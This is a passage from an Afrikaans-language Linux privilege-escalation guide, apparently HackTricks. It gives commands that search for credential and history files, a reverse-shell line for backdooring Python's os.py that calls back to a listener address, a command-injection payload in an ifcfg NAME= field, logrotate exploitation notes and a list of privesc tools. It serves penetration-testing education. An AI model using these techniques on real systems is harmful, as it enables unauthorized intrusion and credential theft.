find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Sqlite DB-lêers

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml lêers

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

Verborge lêers

find / -type f -iname ".*" -ls 2>/dev/null

Skrip/Binaries in PATH

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

Web-lêers

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Rugsteun

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

Bekende lêers wat wagwoorde bevat

Lees die kode van linPEAS, dit soek na verskeie moontlike lêers wat wagwoorde kan bevat.
Nog ’n interessante hulpmiddel wat jy hiervoor kan gebruik is: LaZagne wat ’n open source-toepassing is wat gebruik word om baie wagwoorde wat op ’n plaaslike rekenaar vir Windows, Linux & Mac gestoor is, te onttrek.

Logs

As jy logs kan lees, mag jy in staat wees om interessante/vertroulike inligting daarin te vind. Hoe vreemder die log, hoe meer interessant sal dit waarskynlik wees.
Ook, sommige “sleg” geconfigureerde (backdoored?) audit logs kan jou toelaat om wagwoorde in audit logs op te neem soos verduidelik in hierdie post: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Om logs te lees die groep adm sal baie nuttig wees.

Shell lêers

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Algemene Creds Soek/Regex

Jy moet ook kyk na lêers wat die woord “password” in hul naam of in die inhoud bevat, en kyk ook vir IPs en e-posadresse in logs, of hashes regexps.
Ek gaan nie hier uiteensit hoe om dit alles te doen nie, maar as jy geïnteresseerd is kan jy die laaste kontroles wat linpeas uitvoer nagaan.

Skryfbare lêers

Python library hijacking

As jy weet vanaf waar ’n python-skrip uitgevoer gaan word en jy kan binne daardie gids skryf of jy kan modify python libraries, kan jy die OS library wysig en dit backdoor (as jy kan skryf waar die python-skrip uitgevoer gaan word, kopieer en plak die os.py library).

Om die library te backdoor voeg jy net aan die einde van die os.py library die volgende reël by (verander IP en PORT):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Logrotate uitbuiting

’n Kwesbaarheid in logrotate laat gebruikers met skryfregte op ’n loglêer of sy ouerdirektorieë moontlik verhoogde voorregte verkry. Dit is omdat logrotate, wat dikwels as root loop, gemanipuleer kan word om arbitrêre lêers uit te voer, veral in gidse soos /etc/bash_completion.d/. Dit is belangrik om permissies nie net in /var/log na te gaan nie maar ook in enige gids waar logrotasie toegepas word.

Tip

Hierdie kwesbaarheid raak logrotate weergawe 3.18.0 en ouer

Meer gedetailleerde inligting oor die kwesbaarheid kan op hierdie bladsy gevind word: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

Jy kan hierdie kwesbaarheid uitbuit met logrotten.

Hierdie kwesbaarheid is baie soortgelyk aan CVE-2016-1247 (nginx logs), so wanneer jy vind dat jy logs kan verander, kyk wie daardie logs bestuur en kyk of jy voorregte kan eskaleer deur die logs met symlinks te vervang.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Vulnerability reference: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

Indien, om een of ander rede, ’n gebruiker in staat is om ’n ifcf-<whatever> script na /etc/sysconfig/network-scripts te skryf of ’n bestaande een te aanpas, dan is jou stelsel pwned.

Network-skripte, ifcg-eth0 byvoorbeeld, word gebruik vir netwerkverbindinge. Hulle lyk presies soos .INI-lêers. Hulle word egter ~sourced~ op Linux deur Network Manager (dispatcher.d).

In my geval word die NAME= attribuut in hierdie netwerkskripte nie korrek hanteer nie. As jy wit/lege spasie in die naam het, probeer die stelsel die gedeelte na die wit/lege spasie uitvoer. Dit beteken dat alles na die eerste spasie as root uitgevoer word.

Byvoorbeeld: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

(Let wel die leë spasie tussen Network en /bin/id)

init, init.d, systemd, and rc.d

Die gids /etc/init.d huisves skripte vir System V init (SysVinit), die klassieke Linux service management system. Dit sluit skripte in om start, stop, restart, en soms reload dienste uit te voer. Hierdie kan direk uitgevoer word of deur simboliese skakels gevind in /etc/rc?.d/. ’n Alternatiewe pad in Redhat-stelsels is /etc/rc.d/init.d.

Aan die ander kant is /etc/init geassosieer met Upstart, ’n nuwer service management bekendgestel deur Ubuntu, wat konfigurasielêers gebruik vir diensbestuurs take. Ten spyte van die oorgang na Upstart, word SysVinit-skripte steeds langs Upstart-konfigurasies gebruik weens ’n compatibility layer in Upstart.

systemd treeg op as ’n moderne initialization en service manager, wat gevorderde funksies bied soos on-demand daemon starting, automount management, en system state snapshots. Dit orden lêers in /usr/lib/systemd/ vir distributiepakkette en /etc/systemd/system/ vir administrateurwysigings, wat die stelseladministrasieproses stroomlyn.

Ander Trikke

NFS Privilege escalation

NFS no_root_squash/no_all_squash misconfiguration PE

Escaping from restricted Shells

Escaping from Jails

Cisco - vmanage

Cisco - vmanage

Android rooting frameworks: manager-channel abuse

Android rooting frameworks hook gewoonlik ’n syscall om geprivilegieerde kernel-funksionaliteit aan ’n userspace manager bloot te stel. Swak manager authentication (bv. signature checks gebaseer op FD-order of swak wagwoordskemas) kan ’n plaaslike app in staat stel om die manager te impersonate en op reeds-rooted toestelle na root te eskaleer. Leer meer en sien exploitering besonderhede hier:

Android Rooting Frameworks Manager Auth Bypass Syscall Hook

VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)

Regex-driven service discovery in VMware Tools/Aria Operations kan ’n binary path uit proses command lines onttrek en dit met -v uitvoer onder ’n geprivilegieerde konteks. Permissiewe patrone (bv. die gebruik van \S) kan attacker-staged listeners in skryfbare plekke (bv. /tmp/httpd) match, wat lei tot uitvoering as root (CWE-426 Untrusted Search Path).

Leer meer en sien ’n gegeneraliseerde patroon wat op ander discovery/monitoring stacks van toepassing is hier:

Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244

Kern-sekuriteitsbeskerming

Meer hulp

Static impacket binaries

Linux/Unix Privesc Tools

Best tool to look for Linux local privilege escalation vectors: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumerate kernel vulns ins linux and MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks